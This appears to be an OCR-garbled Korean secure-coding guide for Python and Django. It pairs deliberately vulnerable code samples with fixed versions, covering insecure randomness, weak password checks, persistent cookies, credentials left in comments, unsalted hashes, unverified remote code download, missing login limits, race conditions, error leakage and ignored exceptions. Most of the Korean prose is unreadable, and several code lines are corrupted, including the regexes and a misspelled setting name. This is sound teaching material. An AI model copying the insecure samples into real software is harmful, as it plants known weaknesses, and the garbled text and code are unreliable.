RANDOM_STRING_CHARS = string.ascii_letters+string.digits
# HoV|Sut HAE U= secrets 2t0|E2{2|E AMZSHOF QHFMGITY.

return “.join(secrets.choice(RANDOM_STRING_CHARS) for i in range(32))

¥ 2@ QW=

cf. FiXt=

® CWE-330: Use of Insufficiently Random Values, MITRE,
https://cwe.mitre.org/data/definitions/330.htm|

@ Insecure Randomness, OWASP,

https://owasp.org/www-community/vulnerabilities/Insecure_Randomness

® Generate pseudo-random numbers, Python Software Foundation,

https://docs.python.org/3/library/random.htm|

@ Generate secure random numbers for managing secrets, Python Software Foundation,
https://docs.python.org/3/library/secrets.html
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9. Foo HIZHZ O

7} M

Pasaword Password Recovery tool

¥

Continua

AMEROA Lot HAYE ZEHAIS Q710K HE, AHEAL AHO| FfotA ECf. et HAAEE Y| fIoH

Mz THAQIE MEf 51 0| QHHM, 2 HAYE BYFAS HESHOF SHC

Lot = ASS Y HILHS(MAQD)E At FEAL, EFEX S8 S™GI0 ARSI,

Ch. ZE0fH|

ALEAH et IIAJAZO THet =8E AT §l0] 7t S X2E +dstal {AC.

[ [

1: from flask import request, redirect

2. from Models import User

3. from Models import db

4:

5. @app.route('/register’, methods=[POST)

6: def register():

7 userid = request.form.get(userid’)

8: password = request.form.get(password’)

9: confirm_password = request.form.get(confirm_password')
10:

11: if password != confirm_password:

12: return make_response("H|ZHS I} UX[GHK| L&LICH, 200)
13 else:

14: usertable=User()

15: usertable.userid = userid

16: usertable.password = password

17: # HARIE MM 22 SQIGHA| 40 3|3 7t

18: db.session.add(usertable)

19: db.session.commit()

20: return make_response("3|&712] A&", 200)
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1: from flask import request, redirect

2. from Models import User

3: from Models import db

4:  import re

b:

6: @app.route('/register’, methods=['POST')

7. def register():

8: userid = request.form.get(userid’)

9: password = request.form.get(‘password)

10: confirm_password = request.form.get(confirm_password’)

11:

12: if password != confirm_password:

13: return make_response("H|ZHS 7t AUX[oHK| L&LICE", 200)

14:

1%: if not check_password(password):

16: return make_response('H|UHS ZEHR|0 SUX| &LICL", 200)

17: else:

18: usertable=User()

119z usertable.userid = userid

20: usertable.password = password

21:

22: db.session.add(usertable)

23: db.session.commit()

24: return make_response("&/271Q! A&", 200)

25:  def check_password(password):

26: # 23 014 EXZ2 F8HE 8AIE] Old HIYHS AL HAl

27: PT1 = re.compile("(?=*[A-Z])(?=.*[a-z])[A-Za-Z\d!@#$%"&*]{8,}$)

28: PT2 = re.compile("(?=*[A-Z])(?=.*\d)[A-Za-z\d!@#$%"&*]{8,}$)

29: PT3 = re.compile("(?=*[A-Z])(?=*[|@#$%"&*])[A-Za-z\d! @#$%"&*]{8 }$"

30: PT4 = re.compile(""(?=*[a-z])(?=.*\d)[A-Za-z\d!|@#$%"&*]{8,1$)

31: PT5 = re.compile(*(?=.*[a—z])(?=.*[\@#$%"&*])[A-Za—2\d! @#$%"&*]{8,}$)

32: PT6 = re.compile("(?=*\d)(?=*[!@#$%"&*])[A-Za-2z\d!|@#$%"&*]{8,}$)

8aK

34: # =& 1 AEBI0| 10XI2| Ol HIZHS ZHAL Hrd

35: PT7 = re.compile("[A-Za-7\d!@#$%"&*]{10,}$)

36:

37 for pattern in [PT1, PT2, PT3, PT4, PT5, PT6, PT7]:

38: if pattern.match(password):

39: return True

40: return False

N2, 2| FEQ ELEX(1@#$%"& )= 7|2 LIS o M2t HAGIH AESHH EH, HAUEE RXZT 10Xt

TEY 4 FAS 5= UCL| ARZBKIA =2 WS CHUSHE 20| HRSIC
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- Django Z|S4T2| VALIDATORS AL

DjangodliM= OIS0 AUTH_PASSWORD_VALIDATORS AMM0i|A HILHSO| ChSt ASS ot QICt 7[2Xo=z

ofziet &2 ASS oHELL
* UserAttributeSimilarityValidator : user?| attributes(username, firstname, lastname, email)S1t QAISX| X2
* MinimumLengthValidator : H|ZHS Z20[Q| %4 Zt (default 8)
* CommonPasswordValidator : AFZS0| 743 T0| Atk MASIE 20,0007H01 SHESH=A| AHS.
* NumericPasswordValidator : H/ZHS7} A4H5| LX[QIX| EE.

#I°] Validator2|ofl 228t 25 71F2 ASA ValidatorS #85#A AUTH_PASSWORD_VALIDATORSO S=3101
A27HSSIC). Of2= AF2Xt Validator GIM|O|CE.

(@& St Al None et AIf A] ValidationError 2SS 78! EHQ)

10 import re

2. from django.core.exceptions import ValidationError

3: from django.utils.translation import ugettext as _

4.

5: class CustomValidator(object):

6: def validate(self, password, user=None):

7. # 23 0|4 EXE TYE 8X2| Ol HILHS A Frd

8: PT1 = re.compile(*(?=.*[A-Z])(?=.*[a-z])[A-Za—z\d!@#$%"&*]{8,}$)
9: PT2 = re.compile(*(?=*[A-Z])(?=*\d)[A-Za-2\d$@$!%*?&]{8.}$)
10: PT3 = re.compile("(?=*A-Z])(?=*[|@#$%"&*])[A-Za-z\d! @#$%"&*]{8,}$)
11: PT4 = re.compile("(?=.*[a-z])(?=.*\d)[A-Za-z\d!|@#$%"&*]{8,}$")

12: PT5 = re.compile("(?=*[a—z])(?=.*[| @#$%"&*])[A-Za—2\d| @#$%"&*]{8,}$)
13: PT6 = re.compile("(?=.X\d)(?=.*[|@#$%"&*])[A-Za—2\d!| @#$%"&*]{8,}$)
14:

(53 # A 7 43010 10At2] Oy HIUHS ZAF Ht4

16: PT7 = re.compile("[A-Za-z\d!@#$%"&*]{10,}$)

17: for pattern in [PT1, PT2, PT3, PT4, PT5, PT6, PT7/l:

18: if pattern.match(password):

19: return None
20: raise ValidationError(
21: _(HYHS ZFFE MESHA| iELUCE."),
22: code='improper_password',
23: )
24
25: def get_help_text(self):
26: return _(
27: HUHSE &2 UEX, AZAL AL E4EX 28 S 274K 014 8XIZ[0| AL 22Xt w4 &
28 #GI0| 10Xt2| O&0|0{0F LTt
29: )
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gf. A=

® CWE-b21: Weak Password Requirements, MITRE,
https://cwe.mitre.org/data/definitions/521.html

@ Authentication Cheat Sheet, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

® Regular Expression HOWTO, Python Software Foundation,
https://docs.python.org/3/howto/regex.html

@ Password management in Django, Django Software Foundation,
https://docs.djangoproject.com/en/4.0/topics/auth/passwords/
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10. AFEXL ol=0 2300 MBE= I8 St 8H ==

7} M

WHIE §B

MERPC U9

]]]@%

=yacr
HEE B MY

=] 2N

ZHx| Caokle AEX}

F7|0n MY
Fh HY 738

HEREES & SEZZIYNM F7|= HZ2|0 SFotH, 22N M0 SZEH AtEICt, Z2I2HM7t Hok=

=
B2, HaRX MU0 A0l XNSHo =2 MYEET AYY + UCH, 01R2 HAI0| 7IFEI, TF H2tRX MM0|
AREAS I K220 2E ECh JHIYE, A5 Y2 S0| 012 22 F&XQl F7|(Persistent Cookie)fl MYECHH,
S 70 H2Y + A= B0 B2 7ISIE JHA B0, Ol AMA”S FoforH RtECL

Lt oHMgt IHIIH

[y
2270| BHRAIZIS MA0| KISEIS AIZFS TR5/0] SABIOR MMatT YAXOl 27| ALK M3t 3, MMID S

Y ZeEX| IS ol

Ch. ZE0fH|

F7|9] U2AZIS Mot ZA 2EoHH ASAL SIEHASN MYE F= GH =82 + ALEZ FOfoit.

from django.http import HttpResponse

1:

2:

3. def remind_user_state(request):

4: res = HttpResponse()

B: # F719 BtEAlZtE 1HOE M=ok 27| H&st U0| QFNGHR| 4Lt
6 res.set_cookie(rememberme', 1, max_age=60*60*24*365)

7 return res
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|'0II

T=EAIZE2 offF 7IS0| &F zA= HF5H0 FHHO R0z 52 HEIF ZSEX| HEE St FIIE HTTPSE
EoHMDE MESHER secure SMEUS True(7 L2 False)S A& 4= QUC}. S210|HE S0|M JavaScripts Sl 7|12

TZBIX| Zot=E MGt SIIXkF & HRA httponly 48 True(Z7 |22 False)2 MHSICE

bE2 #7| Um AIZIE 1AIICZ Z%st olAlo|Tt

from django.http import HttpResponse

1

2

3. def remind_user_state(request):

4: res = HttpResponse()

5 #37]9] DIEAIZIS MEGI| F0{5t0 secure SNS A5 SIC

6 res.set_cookie(rememberme’, 1, max_age=60*60, secure=True, httponly=True)
7 return res

DjangodlME= settings.pydil Of2iQt 20| F7tot0] MHEC= HEer 4 QUL

# settings.py

SESSION_COOKIE_AGE = 60 * 60 # default 2weeks

SESSION_COOKIE_HTTPONLY = True # default True

SEESION_COOKIE_SECURE = True # default False

2t, Hux=
® CWE-539: Use of Persistent Cookies Containing Sensitive Information, MITRE,
https://cwe.mitre.org/data/definitions/539.html

@ Expire and Max-Age Attributes, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
#expire—and-max-age—attributes

® HTTP state management, Python Software Foundation,
https://docs.python.org/ko/3/library/http.cookies.html

@ Django set_cookie, Django Software Foundation,

https://docs.djangoproject.com/en/dev/ref/request-response/#django.http.HttpResponse.set_cookie

® Django Settings, Django Software Foundation,
https://docs.djangoproject.com/en/4.0/ref/settings/#sessions
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JMPassvword for
Bdministraton is “tiper”

T X}

F|[I

HAYIES FHZ0| LOISH AA HOI0| HAT 4 QT ATEQ0] JHUX7E TS QI FAI20f
HOIE 29, ATEQIOP7} 2Tl S0= IS HHGHS 20| IS ORI Bk, 3t J2APt AATCO| 3% 4 O'Er
OFF 17 AIABIO &S 4 Uk,

Lt QHd

—

ror

237

113

FM0l= ID, A/E S Hofl} 2E WSS 7IYoHK| =D

Ch. IE0) x|

HelgS floll Of0IC|, IAQIE S SLFYEE FHZE A0 2 = XRA| e 82 EEE HQIOHO0| THsiT.

1: def user_login(id, passwd):

2 # AR ZE 5L AAHC 215 HE
3 # id = admin

4: # passwd = passwOrd

5 result = login(id, passwd)

6

7

return result

D27 WL Aol FHE SO GA=2 AEA AFOIL HARJE SO Y= L 2z A0 SHSHA| AH|SHo{0f
ct.

r
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obEist A=l 0f

def user_login(id, passwd):
# FHZ0| ZEE Qs FEE MF|
result = login(id, passwd)
return result

ECl

cf. FiXt=

@® CWE-615: Inclusion of Sensitive Information in Source Code Comments, MITRE,
https://cwe.mitre.org/data/definitions/615.html
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H2& =evls

12. £€E 80| L9 v &+ AIS
L 71
Password : “Abdc1 234 @ 4%°
Abdc1234|@#5 —_—
X
19 “Abde1 234 |@NE"
"
"Salt Value”™
HAQIES} 22 ZRHUS MY 32, Yolo| Zojol HOIES
0|25t XHSICE Dol ZQHHE £E(Salt)glo] bt shEl
BIOIES 0|8510] dlizlarS Lotd =~ UL
L} ormst IHI|H
THAQIER} Z2 ZSQMEE MAY 42, 299 Z0|2! H|o|EE
015101 FFBITY,

PythonOilA] hashlib2{0|2 222 AF3HA Hashztig MM &t
2alE ALZSI0] M4aH0F STt

IFE 3
5 AEoIY M, SZXt= D2

SHA-256

"3Z2DAETBOAE.."

—

"3ZDAETBBRAE.."

THE 37

71| s =

o) afisfztoR

Zf2 os.urandom(S

g2l

ElojE| Z{id

;

Cf. =0
Of2 OIA|2t 22 FEE= H|UHSH 22 22 diwloty =0l 229 2017t 7] MEol SAX o8 g !5
2 4 otk
QMK U2 ZE9| of
import hashlib
def get_hash_from_pwd(pw):
[X=]

1

2

3

4 # salt7h 20| MAH AL
5: # MAHOF BTt
.

7

8

BATC

dE7t 2
h = hashlib.sha256(pw.encode())

return h.digest()

ofol7| WZ0 HH=Al saltet

2
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2 Z20[9 HIRHSE 0|80l0] d= =2 dlivlaE Ydot| 2eiils HEAl seed 2t &7l dliTiE SHOF

r

import hashlib
import secrets

def get_hash_from_pwd(pw):
# HIYHSS 20| 0|7t B2 wE 0/&st:
# 0LE0| SHAIE MHSH| foliMe saltit2

=
# AMEotH Zdes2 oiME 48T + U

]

salt = secrets.token_hex(32)
h = hashlib.sha256(salt.encode() + pw.encode())

= @@ F D& L@ =

—_

return h.digest(), salt

2t, Hux=
® CWE-759: Use of a One-Way Hash without a Salt, MITRE,
https://cwe.mitre.org/data/definitions/759.html

@ Password Storage Cheat Sheet — Salting, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#salting

® hashlib - Secure hashes and message digests, Python Software Foundation,
https://docs.python.org/3/library/hashlib.htm|

@ secrets, Python Software Foundation,

https://docs.python.org/ko/3/library/secrets.html#module-secrets
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2. DHHSIX| BB UEEE MU IERE 1 9oEl 3 W%
IC CHEEC T= WEW 3AC CHEEC

YHOBHE| AATE E MYLUS DTY HAF Q0| LIREC #1, 0|8 MY MESO| 55 XS 0l
SAE AHi2| $1X, DNS ARE(Spoofing) i Has Ale] FE HX S0| WS 0185i0] SHA ooiHel IES MY
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I iy AZEQ0) FAHES &Rlsh= 223t oAl A CIXE MEO| ULt FEES

=7 = =
= - - =
HESH7| QI5H SHAIZE AIRSHD 7Hs5IH XSt IE ME QASME ARSI &0I5H= 70| O QHMSICY.
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AAE MEE £ U= MOIEOA CH2ZESI00F St OHUQ| QISM Ei= olirldts HAIGHe HZREX| 42 THUQIX|

Ct. O

O] OfiXl= requests.get= Soll HAMNM TS U2 7 A0 gt P2 HAE +-oHX| 0 MEHE SO=

QIS s} WA 4 QU= ALOICE 0[2f3t AL BARK= ofojxel TS M 4 ULk
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1: import os

2. import requests

3:  from urllib.parse import urlparse

4.

5. def execute_remote_code():

6: #UZEX| Y= MOIEOM ZEE LREE

7: url = "https://www.somewhere.com/storage/code.py"

8:

9: # ¥4 IE OREE

10: file = requests.get(url)

11: remote_code = file.content

12:

13: file_name = 'save.py'
14:1 with open(file_name, 'wb’) as f

5" f.write(file.content)

16:

| 4
Qrtict IE MRS 2l CHREESE M} oiE MO siAzt Hlw SS Soll FAM ZAE HX[1 TEE AHsI0{0f St
OrMSH FE9| 0

1: import requests

2. import hashlib

3:

4:  def execute_remote_code():

b url = "https://www.somewhere.com/storage/code.py"

6: remote_code_hash = config.get(HASH', file_hash’)

VE

8: #34d FE ORIE

9: file = requests.get(url)

10: remote_code = file.content

11:

12: sha = hashlib.sha256()

13: sha.update(remote_code)

14:

15: #OREE "2 MAQ| AL HE

16: if sha.hexdigest() |= remote_code_hash:

17: raise Exception(‘IU0| &AMEIRASLICE’)

18:

19: file_name = 'save.py'

20: with open(file_name, 'wb') as f

21: f.write(file.content)

22: .

| 4
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ol Xtz
® CWE-494: Download of Code Without Integrity Check, MITRE,
https://cwe.mitre.org/data/definitions/494.html

@ Secure hashes and message digests, Python Software Foundation,

https://docs.python.org/3/library/hashlib.html

@ Top 25 Series - Download of Code Without Integrity Check, SANS,
https://www.sans.org/blog/top—25-series-rank-20-download-of-code-without-integrity—check/
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7t ML
10 s, PV S ox
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SEY UhE B M=
[
ID % ARS AN
U™ AIZE LHOH 02 HO| QIZS ATolo A™ &F E= 7t Q15 WY S9| S8 2X7H +H=X| Y= 4R, 3dK=
SSeHst IDQF HIY 55% H‘j(chtlonary)OE OiE 22X Y (brute-force)dtd] 2101 MZ 2 ASH &50|
7tsolct.

Diango= AMEAL 215 Q& Sl5=0f| ChoH MIO{SHX| =Lt Q15 AIARIO] Ot £XIE Y SHRRE HS57| 2ol
Django £2{12l(django-defender) = & MH EES A5l 2FE HEtE +k ULt

ASAE S-S HESH Sl+2 Hoholl 2FE AN A+-E ZIYE ER A™S HE oL 71X U5IHEs
HHM AA"-I| H20| 7ksot=R Bith ZE JoM ASAT S-E Hetoh= YY 2|0 CAPTCHALE Two-Factor 215
YYT EA ARE 2245H0F BTt
Ct. IO

G Oid= ARSAF 2121 A0 CHt 2=5 HISteHK| b= ZE=0IC.
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QFMstX| =2 =9 of

1:  import hashlib
2: from django.shortcuts import render
&
4:  def login(request):
b: user_id = request.POST.get(user_id', ")
6: user_pw = request.POST.get(user_pw', ")
Ve
8: sha = hashlib.sha256()
9: sha.update(user_pw)
10:
11: hashed_passwd = get_user_pw(user_id)
12:
13: # QISAIZ0| THE HBto] Qo BH=XQI Q15 A=t ks
14: if sha.hexdigest() == hashed_passwd:
15: return render(request, '/index.html’, {'state"'login_success?)
16: else:
17: return render(request, '/login.html’, {'state":'login_failed})
4
Ch22 ALEAL 27921 A0 CHet S8 XS5 FAPE 320 tEsk= I EO0|Ch
orMst =9 of
1:  import hashlib
2.  from django.shortcuts import render
3:
4: LOGIN_TRY_LIMIT = 5
95
6: def login(request):
7: user_id = request.POST.get('user_id', ")
8: user_pw = request.POST.get(user_pw', ")
9:
10: # 27701 A2 7}HR7)
11: login_fail = models.LoginFail.objects.filter(user_id)
12: # 2701 Amsle xot= Qo EzE AG et Q15 Al Higt
13: if login_fail.count() )= LOGIN_TRY_LIMIT:
14: return render(request, '/account_lock.html', {'state"'account_lock'})
195 else:
16: sha = hashlib.sha256()
17: sha.update(user_pw)
| 4
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18:

19: hashed_passwd = get_user_pw(user_id)

20:

21: if sha.hexdigest() == hashed_passwd:

22: models.LoginFail.objects filter(user_id).delete()

23: return render(request, '/index.html', {'state:'login_success'})

24 else:

25: # 2791 dIfsl~ DB 7|5

26: models.LoginFail.objects.create(user_id)

27: return render(request, '/login.html’, {'state':'login_failed’})
gf. &

(® CWE-307: Improper Restriction of Excessive Authentication Attempts, MITRE,

https://cwe.mitre.org/data/definitions/307.html

® Blocking Brute Force Attacks, OWASP,

https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks

(@ additional security topics, Django Software Foundation,

https://docs.djangoproject.com/en/3.2/topics/security/#additional-security-topics

@ Django-defender,

https://github.com/jazzband/django—defender
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}9,;% A2EH= A ™D} ZAKBH= AIRO0| CH27| IR0, ZABH= A& (Time Of Check)Oll ZXHGHE XFRI0| AREHH A|M
(Time Of Use)0ll AlZX|l= S RHQ| MENJt Hot= ARt LMSITH

OIS SOf, TRHA A9t B7} EXISHS HIIAAT SHUM ZRHA AS KEIA(TY A7)01 9 SiE RHIm)o)

T OIS HAKTOC) BCh. Of T D2AA B} i XRWS 0% AZAHHISH 97| T2, TRAA A
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=~

PythonOllAl HE|AYE BHANAM 2R X0 02 M =7 HZets A2 27| ol Lock HAME HISSICH F 74X
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Lt QHHSt FEHIIY

——
KH(G: I Lo T2 MATH H2

_T’_
oTT
Jtsol=S of= ofH

)2 o3 Z2HA7H HZot
H, 450 OXlz &= 2

Python2| Lock ZHMIE At Al lock.acquire()2 AHES &1 lock.release()2 AHES oHAIGHOF oFX|TH withES

A5 ZHESHA Eoik 7HSSIC.

Ct. ZEOA|

e GiRlE Dol A = AlEdks ZE7t SEE = MO|9] B2 AlZI0E OfU0| MMM siy SAE & + Bl

BTt s &

1: import io

2. import datetime

3. import threading

4.

5. def write_shared_file(filename, content):

6: # EAYE 2HF0M= CHE ARZAISS| A0l M2t MU0 At

7 # == UI MzZ0| 3% A0l ChohMe= AR ARZS SA[0 ofiOF Bt
8: if os.path.isfile(filename) is True:

9: f = open(filename, ‘W'

10: f.seek(0, io.SEEK_END)

11: f.write(content)

12: f.close()

13

14:  def start():

16: filename = ‘. /temp.txt’

16: content = ‘start time is ' + datetime.datetime.now()

17: my_thread = threading.Thread(target=write_shared_file, args=(filename, content))
18: my_thread.start()

BAL & IHUO| AH|=| AL HEE= XS OIWSH| I lockS ARSI 2t MHE0IM SR H2shs e SXl
F= GIIMIOILt. lockS acquiredtH o MY ERF S CIOJEN M2 & = UL, lockS release SHOF2t CHE M2f| =044

F HIOE0 E2 & =+ AUCL

ol

OH
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import io
import datetime
import threading

def write_shared_file(filename, content):

1

2

8

4:

5. lock = threading.Lock()
6:

7 # lockS OI&510 02 ALZAIZE SAI0| MU0 HZoHK| Xot=s Aot
8

with lock:
9: if os.path.isfile(filename) is True:
10: f = open(filename, 'w')
11: f.seek(0, io.SEEK_END)
12: f.write(content)
13: f.close()
14:
15:  def start():
16: filename = ‘. /temp.txt’
17: content = ‘start time is * + datetime.datetime.now()
18: my_thread = threading.Thread(target=write_shared_file, args=(filename, content))
19: my_thread.start()

2t fuAt=

(® CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, MITRE,
https://cwe.mitre.org/data/definitions/367.html

@ Thread-based parallelism, Python Software Foundation,
https://docs.python.org/3/library/threading.html
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N
M

=L DU

rir

s ©

rir

HH &=

MO

Vi ]

@ @ @ {} CPU M8

Func_AD Func_AD Func_AD Func_AD

Func_AQ Func_s0 Func_a0 Func_aQ

lU

Mol 28 4

OII

£ HMO{oHX| Xolo] SIE W22t T2 AR SO| XS MLl ALEotE IESICt. tHEE2
82, #e ZU(Base Case)0| = M S Fot FLO| HIMSAH EL XA2UZS FUSC2M AAHO| FoZol

O'I

HA’

MHIAE HSE 4 Al St
PythonOllAME Z[Ti XHH ZO|7t ML U FERIZT} UMEEX| 22OLL, setrecursionlimit()S AtE560] 2|2 Z|CH

M7 HOIE HFolK AlEots E M=ot BO| M 7t +™AEX| 45 FO[5t0{0F Bt

Lt Qrd

—

ro

33714

= MY 28 A, MH 2F S ML, =7| AS QEEPEH MY S=S MSHSHOF 3._H1t Python2

recursionlimit X|8k2 stack overflowE 27| gt BHHOIC}. recursionlimit 242 AU=5HA 2 U= HH6HA| S0t0F
St
Ct. IEOA|

factorial &£ &4 WEOA XS SESH= &2, MRS HIN LIRE TS Holot UKX| 920} AJAH! MO{E

HISE A
7Y+ UL

def factorial(num):
# MTE HEXHS HFOIR U0t SE 3 o2 Ly
return num * factorial(num - 1)

itr = 5
result = factorial(itr)
print(str(itr) + ' WE2|Y Zt2 ' + str(result))

1
2
3
4: if _name__ == '__main__
5:
6
7
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DIIROE AZSHR YT SF I E= 0| MRt SHRIC

=

1. def factorial(num):

2 # M= A8 Aoz ©HE RS FAlGHOF SHT
3 if (num == 0):

4 return 1

5 else:

6: return num * factorial(num - 1)

7:

8 if _name__ =="'_main__"

9 itr =5
10 result = factorial(itr)
" print(str(itr) + ' MEZ|Y 2 ' + str(result)

Python2| X{# gF=2 HigHRecursion Depth Limit)2 7|=0] 100092 MHME|0| LY.

Anaconda®| Z?= 7|2 (0| 20000|Ct. Of ZtS =oHA HASHK| RLO0LOF BHCf.

OtX{s}

[ Ly

Fu

E9] o

1:  import sys
2:
3:  sys.setrecursionlimit(1000)

cl. &A=
@® CWE-674: Uncontrolled Recursion, MITRE,
https://cwe.mitre.org/data/definitions/674.html

@ CWE-835: Loop with Unreachable Exit Condition (Infinite Loop’), MITRE,
https://cwe.mitre.org/data/definitions/835.html

® sys.setrecursionlimit, Python Software Foundation,
https://docs.python.org/3/library/sys.htmli#sys.setrecursionlimit
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H4ZE EEbsE

O2IE &2[oHA| R, ESEoH X2I5t0] of2] HE| SQFEEAAY WREE 57t ZotE o, 24 = %
HOZ 02iE FXESH X2lot0] Eot= HFHO|Ct

[y

rir
i
[¢]

1. 2F HAIX 2=

Vi) ]

-
hip S e, oooLco K '—:9

DHE} o SR Mdx)

E 3

BO7 BESOL BE =8

SSI2IH0| aA2tE, ALEAt S oH HIOJE(0f Ciet 2izet YRS Eg:!@fi F HAIXIZ 4dot0] QR0 MSdk=
4R, SAKY A HAS T2 5 UCH KALLY Al 02| OIS0|Lt E2fl0|AM(traceback)S EHch= 4R, T2 L2
TZE A I & W71 HE0|C

Django TULFL} Flask TUAI= HTTP 2F FEIL Q= S XN2[6H7| A8 AFEX} 02 H0|X| SHS2HE
HISetct.

2F HAIXIE HolTl AZAI0H R 2|4t FH LSISIER STt AATE0M 02 d&2 WRHMOZ X2/

(e

AEROIA AL LHE YL § Tt HEE 2ok 2FE S0k (S 02| o HAIXIE MSot=S 2ol

= 20

Oll

Django ZUKAINAME urls.pydl AF2Xt M9| 02| Lo|X|E

shS2iS Mo B 4 UC.
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Ch. ZE0)A|

ABRE QS H2UT 4 G ZS o2 HOIXIO) Tl B2 E Abio] FEJt ST 4 L) B ofZ2iA0NS
B & 0 DEBUG BEZ True2 A% 5T HIEE 20| Of2fet 20| AIAHO £ M7t b5 T & ULk

- Page not found at /catalog/ x + = O b

& c o ® 127.0.0.1:8000/cataloc @ % » =

Page not found (04)

Request Method: GET
Request URL: http://127.0.0.1:8000/catalog/

Using the URLconf defined in 1ecallikrary.urls, Django tried these URL pattems, in this order:
1. admin/
2. f

3. *atatic\/(?P<path>.*)$

The current path, cataleg/, didn't match any of these

You're seeing this error because you have oesus = True in your Django settings file. Change that to False,
and Django will display a standard 404 page.

Django= DEBUG ZEE FalseZ HIZYS HS OF2H2t 20| AFZAL M2 HO|XIS EFHoHK| = 0= Django 7=
OIZ{H|O|X[7H HOIA| ETt.

1:  # config/urls.py
2: # H& O|2HO|X[§ MRASIK| 2O djangol| 7|2 O|Z{HO|XIE =SSt

HISEl= ol HOIX| HS21E OlZsh B=2| 02 HO|XIS Ydoto AFSAAH &

|'OII

Aotl Ao YE-ES |40t

rok

Ct.

# config/urls.py
from django.conf.urls import handler400, handler403, handler404, handler500

# AEXA e O2{HO|XIE X|FHotLl
# views.pyOl AFZAL HO| Ol O[X|0] Chet ZES F&oH ARSI,
handler400 = "blog.views.error400"
handler403 = "blog.views.error403"
handler404 = "blog.views.error404"
handler500 = "blog.views.errorb00*

CRIND2DLON =
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1: import traceback

2:

3:  def fetch_url(url, useragent, referer=None, retries=1, dimension=False):
4: L.

(o try

6: response = requests.get(url, stream=True, timeout=5, headers={
7: 'User-Agent': useragent,

8: ‘Referer”: referer,

g )

10: L

11: except |OError:

12: # OIZHAIXIE Solf ABEET =EE.

13: traceback.print_exc()

14: break

F X2 Al Of2Het 20| of2f OIF0[Lt Ol £ YEIt L& =X| E5

ror
il

QbMgt FCO| of

1: import logging

2:

3:  def fetch_url(url, useragent, referer=None, retries=1, dimension=False):
4: L.

O try

6: response = requests.get(url, stream=True, timeout=5, headers={
7: 'User-Agent’: useragent,

8: ‘Referer”: referer,

9 )

10 L

11: except |OError:

12: # 0l DE FEHE H=2 Folotl A HEO =22

13: logger.info(ERROR-01:E102{")

14: break
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ol Xtz
(® CWE-209: Generation of Error Message Containing Sensitive Information, MITRE
https://cwe.mitre.org/data/definitions/209.html

@ Improper Error Handling, OWASP,
https://owasp.org/www-community/Improper_Error_Handling

® Errors and Exceptions, Python Software Foundation,
https://docs.python.org/3/tutorial/errors.html

@ Django Error views, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/ref /views/#error-views

® Flask Error Handlers, Flask
https://flask.palletsprojects.com/en/2.0.x/errorhandling/#error-handlers
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2T} ) M2 wEA BASE Data or RHIAERA B At
ded resuf_prooessonisefl, diadect, ooy
el _peOcuiee = gageir_ SO ko, Sl el e
OO, Dodyre
]
o prociessl k)
g
e el eSS i)
LR LYY = A= BES HYUoIRCL, 0l2fer 270 Oisted 02| X2E otX| HE 82, SAits LF d&S
o12310 WU} QISIK| S WHOR DRIU0| SHFIEE & 4 UCh
Hex2ls ZES Aok TEN Z=IH0| MOEX| s Aoz SXEEE sk FMHYU LJE LX|sk=H|
£=20| it
Lt QHHst ZFVIY
F7L LM & s 2200 CHEto HMO{E(try-except)s AtE5I0] XEoHA 02l X2| St
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OZ GHE try 250N LUMdlE RLRE E2(except)dt UKX|TE, 11 2F0] CisHA OFF E=XIE st JUX| USS

HOJECt OFF XXVt ¢E=Z T=TO0| AL HALY| R0 HUXZL Q6| 2 Wz D=0 S&E
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1:  import os

2. import binascii

3. import base64

4:  from Crypto.Cipher import AES

55

6: static_keys=[

7: {key' : b \xb9J\xfd\xa9\xd2\xefD\xOb\x7f\xb2\xbcy\x9c\xf7\x9c',

8: v b'\xf1BZ\x06\x03TP\xd1\x8a\xad"\xdc\xc3\x08\x88\xda'},

9: {key' : b'Z\x01$.:\xd4u3~\xb6TS(\x08\xcc\xfc',

10: V' b'\xala=:\xba\xfczv]\xca\x83\x9485\x14\x 17,

11: ]

12:  def encryption(key_id, plain_text):

13: static_key = {’key':b'0000000000000000", 'iv':b'0000000000000000'}

14:

185 try:

16: static_key = static_keys|key_id]

17: except IndexError:

18: # key B8 = @7 W A 7|20z AHE A==t 7|0

19: # ‘0000000000000000" O2 2A55}7t 4=sH=ICt,

20: pass

21:

22: cipher_aes = AES.new(static_key['key'],AES.MODE_CBC,static_key['iv])

23: encrypted_data = base64.b64encode(cipher_aes.encrypt(plain_text))

24: return encrypted_data.decode('ASCII')

Ol QA2 UM AJOf] 27340 JHUKIS| Q= ChEAH| SEGHK| REE BIEA| O|IE X{2[aH0F SiCt.
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1 import os

2. import binascii

3. import base64

4:  from Crypto.Cipher import AES

B:

6: static_keys=[

7: {key' : b"\xb9J\xfd\xa9\xd2\xefD\xOb\x7f\xb2\xbcy\x9c\xf7\x9c',
8: ivt 1 b'\xf1BZ\x06\x03TP\xd1\x8a\xad"\xdc\xc3\x08\x88\xda'},
9: {key' : b'Z\x01$.:\xd4u3~\xb6TS(\x08\xcc\xfc',

10: V' o b'\xala=:\xba\xfczv]\xca\x83\x9485\x14\x 171,

11: 1]

12:  def encryption(key_id, plain_text):

13 static_key = {key':b'0000000000000000', 'iv':b'0000000000000000}
14:

16 try:

16: static_key = static_keys[key_id]

17: except IndexError:

18: # key M 5 2F 2 Al HEC=E US3 7§ Hdot=E 4%
19: static key = {'key': secrets.token_bytes(16), 'iv': secrets.token_bytes(16)}
20: static_keys.append(static_key)

21:

22: cipher_aes = AES.new(static_key['key'],AES.MODE_CBC,static_key['iv])
23: encrypted_data = base64.b64encode(cipher_aes.encrypt(plain_text))
24 return encrypted_data.decode('ASCII")

gf. A=

® CWE-390: Detection of Error Condition Without Action, MITRE,
https://cwe.mitre.org/data/definitions/390.html

@ Errors and Exceptions, Python Software Foundation,
https://docs.python.org/3/tutorial/errors.html

@ Built-in Exceptions, Python Software Foundation,
https://docs.python.org/3/library/exceptions.html
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IR L)

D23 48 0| 340 ZIH Zo| TS M X2| Eo ole] AL iR XS MuoPH| HA K| U2 2L
O7IX ofS ZHIE OpIE 4 Ut
Lt QX IH7H

US HISSl BE Slao| ZIRZES ZAISIO! 1 20| AT ZHOIX| ZARSHL, 02 H2S AL SHe H0| HHels

oQl X2| Chil FHER! oQ] X2|E ettt

Ct. 0] x|

